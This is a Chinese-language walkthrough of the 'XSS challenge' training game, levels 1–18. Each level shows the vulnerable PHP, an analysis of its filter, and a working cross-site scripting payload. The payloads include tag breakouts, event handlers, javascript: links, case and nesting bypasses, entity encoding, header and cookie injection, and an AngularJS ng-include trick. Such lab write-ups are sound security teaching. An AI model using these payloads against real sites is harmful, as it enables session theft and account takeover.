XSS 挑戰之旅
level 1
沒有什麼過濾
payload:
<script>alert(1)</script>
level 2
php關鍵程式碼:
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<input name=keyword value="'.$str.'">
分析:
str是可控的變數,上面一行實體化了,沒有希望。
第二行的的程式碼沒有過濾,閉合一下input標籤就可以了。
payload:
"><script>alert(1)</script>&submit=搜尋
level 3
關鍵程式碼:
<input name=keyword value='".htmlspecialchars($str)."'>
分析:
進行了html實體化,所以不可以利用標籤了,利用js的事件來觸發xss,閉合的時候用單引號。
payload:
'> onmouseover=alert(1) b='&submit=搜尋
level 4
關鍵程式碼:
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
分析:
獲取keyword,尖括號置空,依舊利用js事件,閉合的時候利用雙引號。
payload:
aa" onmouseover=alert(1) b="
level 5
關鍵程式碼:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
分析:
首先把keyword轉換為了小寫,之後把script跟on破壞掉了。
利用a標籤的js協議來觸發xss。提交之後點選一下那個連線就可以觸發了。
payload:
"><a href="javascript:alert(1)">
level 6
關鍵程式碼:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
分析:
跟第五關類似,過濾了script,on,src,data,href
等,但是沒有進行大小寫轉換,所以可以利用大小寫混寫來繞過。
payload:
"><a Href="javascript:alert(1)">
"><img Src=x Onerror=alert(1)>
level 7
關鍵程式碼:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
分析
進行了小寫轉換,並且過濾了script,on,src,data,href
等。
可以利用單詞巢狀來繞過,例如script可以寫成 scrSCRIPTipt
payload:
"><scscriptript>alert(1)</scrscriptipt>
level 8
關鍵程式碼:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
分析
過濾的跟之前的差不多,加上把雙引號也過濾了。
類似第五關,可以利用js協議。但是因為script過濾了,所以需要用到實體編碼來過濾了。
對javascript:alert(1)
進行編碼
payload:
javascript:alert(1)
Tip:
編碼python程式碼:
def unicodeHtml(self, orgCode):
self.enCode['unicodeHtml'] = ';'.join(
'&#{}'.format(ord(x)) for x in orgCode)
收穫
網上別的表哥說還可以這樣繞過:
可以利用空字元、空格、TAB換行、註釋、特殊的函式,將程式碼隔開做到過濾,例如:
javas%09cript:alert()
javas%0acript:alert()
javas%0dcript:alert()
%09:tab
%0a:linefeed(換行)
%0d:creturn
但是我嘗試了一下:
em~ 好迷,搜了一下才知道是httpd.conf的配置問題。
<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
</Directory>
這一段改成:
<Directory />
Options Indexes FollowSymLinks
AllowOverride None
</Directory>
em~ 改了也沒有好使,可能是我的環境問題叭。佔個坑。
level 9
關鍵程式碼:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
}
分析
日常過濾,如果keyword裡不包含http://
就不合法。編碼之後加進去就可以了。
payload:
javascript:alert(1) //http://
level 10
關鍵程式碼:
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<input name="t_sort" value="'.$str33.'" type="hidden">
分析
str變數傳入之後直接實體化後輸出了,所以keyword引數是沒用的。
發現還可以傳一個t_sort
引數並且只是過濾了尖括號,閉合一下利用js事件就可以了。
但是又發現t_sort
值的標籤是hidden的,所以我們這裡改成可見的。
payload:
" onmouseover=alert(1) type="text" //
<!--訪問:/level10.php?keyword=well%20done!&t_sort=" onmouseover=alert(1) type="text" //-->
level 11
關鍵程式碼:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
分析
keyword跟t_sort都進行了實體化,沒戲。
這裡出現了一個$_SERVER['HTTP_REFERER']
這個變數只是過濾了尖括號,那麼這個變數怎麼傳進去呢?
可以通過抓包改包來實現:
payload:
這裡利用burpsuite來實現改包的功能
新增一個:Referer:" onmouseover=alert(1) type="text" //
之後點選forward就可以了。
level 12
關鍵程式碼:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua" value="'.$str33.'" type="hidden">
分析
跟剛剛的類似,也是要抓包改包。
payload:
更改User-Agent
的值為" onmouseover=alert(1) type="text" //
level 13
關鍵程式碼:
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_cook" value="'.$str33.'" type="hidden">
分析
抓包,改cookie
payload:
Cookie: user=" onmouseover=alert(1) type="text" //
level 14
沒有太看明白,參考裡的最後一個裡有答案。。。
level 15
關鍵程式碼:
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
分析
看了大佬們的分析,知道了這題是利用AngularJS ng-include 指令。
ng-include 指令用於包含外部的 HTML 檔案。
包含的內容將作為指定元素的子節點。
ng-include 屬性的值可以是一個表示式,返回一個檔名。
預設情況下,包含的檔案需要包含在同一個域名下。
訪問/level15.php?src='level1.php'
的時候會把第6關的檔案引入到本頁:
所以我們可以利用之前利用過的payload,比如利用第一關。
payload:
/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16
關鍵程式碼:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
分析
利用:%0d %0a分隔
payload:
<img%0Dsrc=1%0Donerror=alert(1)>
level 17
關鍵程式碼:
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
分析
html例項化,通過on來觸發。
payload:
%20onmouseover=alert(1)
執行後的原始碼:
<embed src=xsf01.swf?a= onmouseover=alert(1) width=100% heigth=100%><h2 align=center>成功後,<a href=level18.php?arg01=a&arg02=b>點我進入下一關</a></h2>
level 18
關鍵程式碼:
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
分析
感覺跟17差不多呀。
payload:
%20onmouseover=alert(1)
19 跟 20 不會啊。
參考:
XSS挑戰之旅(1~10)
https://www.jianshu.com/p/550529813397
XSS挑戰之旅--遊戲闖關
https://www.jianshu.com/p/4e3a517bc4ea
【巨人肩膀上的矮子】XSS挑戰之旅---遊戲通關攻略(更新至18關)
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12